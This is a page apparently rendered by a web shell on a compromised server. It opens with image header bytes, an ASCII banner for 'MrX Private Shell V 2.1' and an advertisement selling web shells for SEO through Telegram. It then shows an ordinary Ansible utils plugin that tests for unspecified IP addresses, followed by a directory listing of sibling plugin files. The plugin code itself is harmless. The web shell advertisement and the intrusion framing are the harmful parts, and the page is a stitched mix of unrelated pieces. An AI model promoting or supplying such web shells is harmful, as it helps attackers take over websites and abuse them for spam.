����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# Copyright 2021 Red Hat
# GNU General Public License v3.0+
# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
"""
Test plugin file for netaddr tests: unspecified
"""
from __future__ import absolute_import, division, print_function
from ansible_collections.ansible.utils.plugins.plugin_utils.base.ipaddress_utils import (
_need_ipaddress,
_validate_args,
ip_address,
)
__metaclass__ = type
DOCUMENTATION = """
name: unspecified
author: Priyam Sahoo (@priyamsahoo)
version_added: "2.2.0"
short_description: Test for an unspecified IP address
description:
- This plugin checks if the provided value is an unspecified IP address
options:
ip:
description:
- A string that represents the value against which the test is going to be performed
- 'For example: C(0.0.0.0), C(0:0:0:0:0:0:0:0), C(::), or C(::1)'
type: str
required: True
notes:
"""
EXAMPLES = r"""
#### Simple examples
- name: Check if 0.0.0.0 is an unspecified IP address
ansible.builtin.set_fact:
data: "{{ '0.0.0.0' is ansible.utils.unspecified }}"
# TASK [Check if 0.0.0.0 is an unspecified IP address] ***************************
# ok: [localhost] => {
# "ansible_facts": {
# "data": true
# },
# "changed": false
# }
- name: Check if 0:0:0:0:0:0:0:0 is an unspecified IP address
ansible.builtin.set_fact:
data: "{{ '0:0:0:0:0:0:0:0' is ansible.utils.unspecified }}"
# TASK [Check if 0:0:0:0:0:0:0:0 is an unspecified IP address] *******************
# ok: [localhost] => {
# "ansible_facts": {
# "data": true
# },
# "changed": false
# }
- name: Check if "::" is an unspecified IP address
ansible.builtin.set_fact:
data: "{{ '::' is ansible.utils.unspecified }}"
# TASK [Check if "::" is an unspecified IP address] ******************************
# ok: [localhost] => {
# "ansible_facts": {
# "data": true
# },
# "changed": false
# }
- name: Check if ::1 is not an unspecified IP address
ansible.builtin.set_fact:
data: "{{ '::1' is not ansible.utils.unspecified }}"
# TASK [Check if ::1 is not an unspecified IP address] ***************************
# ok: [localhost] => {
# "ansible_facts": {
# "data": true
# },
# "changed": false
# }
"""
RETURN = """
data:
description:
- If jinja test satisfies plugin expression C(true)
- If jinja test does not satisfy plugin expression C(false)
"""
@_need_ipaddress
def _unspecified(ip):
"""Test for an unspecified IP address"""
params = {"ip": ip}
_validate_args("unspecified", DOCUMENTATION, params)
try:
return ip_address(ip).is_unspecified
except Exception:
return False
class TestModule(object):
"""network jinja test"""
test_map = {"unspecified": _unspecified}
def tests(self):
return self.test_map
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| in_any_network.py | File | 2.84 KB | 0644 |
|
| in_network.py | File | 3.4 KB | 0644 |
|
| in_one_network.py | File | 2.83 KB | 0644 |
|
| ip.py | File | 3.2 KB | 0644 |
|
| ip_address.py | File | 2.62 KB | 0644 |
|
| ipv4.py | File | 2.6 KB | 0644 |
|
| ipv4_address.py | File | 2.73 KB | 0644 |
|
| ipv4_hostmask.py | File | 2.36 KB | 0644 |
|
| ipv4_netmask.py | File | 2.72 KB | 0644 |
|
| ipv6.py | File | 2.68 KB | 0644 |
|
| ipv6_address.py | File | 2.76 KB | 0644 |
|
| ipv6_ipv4_mapped.py | File | 2.82 KB | 0644 |
|
| ipv6_sixtofour.py | File | 2.81 KB | 0644 |
|
| ipv6_teredo.py | File | 2.8 KB | 0644 |
|
| loopback.py | File | 2.51 KB | 0644 |
|
| mac.py | File | 3.39 KB | 0644 |
|
| multicast.py | File | 2.94 KB | 0644 |
|
| private.py | File | 2.24 KB | 0644 |
|
| public.py | File | 2.15 KB | 0644 |
|
| reserved.py | File | 2.24 KB | 0644 |
|
| resolvable.py | File | 3.81 KB | 0644 |
|
| subnet_of.py | File | 2.56 KB | 0644 |
|
| supernet_of.py | File | 2.65 KB | 0644 |
|
| unspecified.py | File | 2.89 KB | 0644 |
|
| validate.py | File | 5.7 KB | 0644 |
|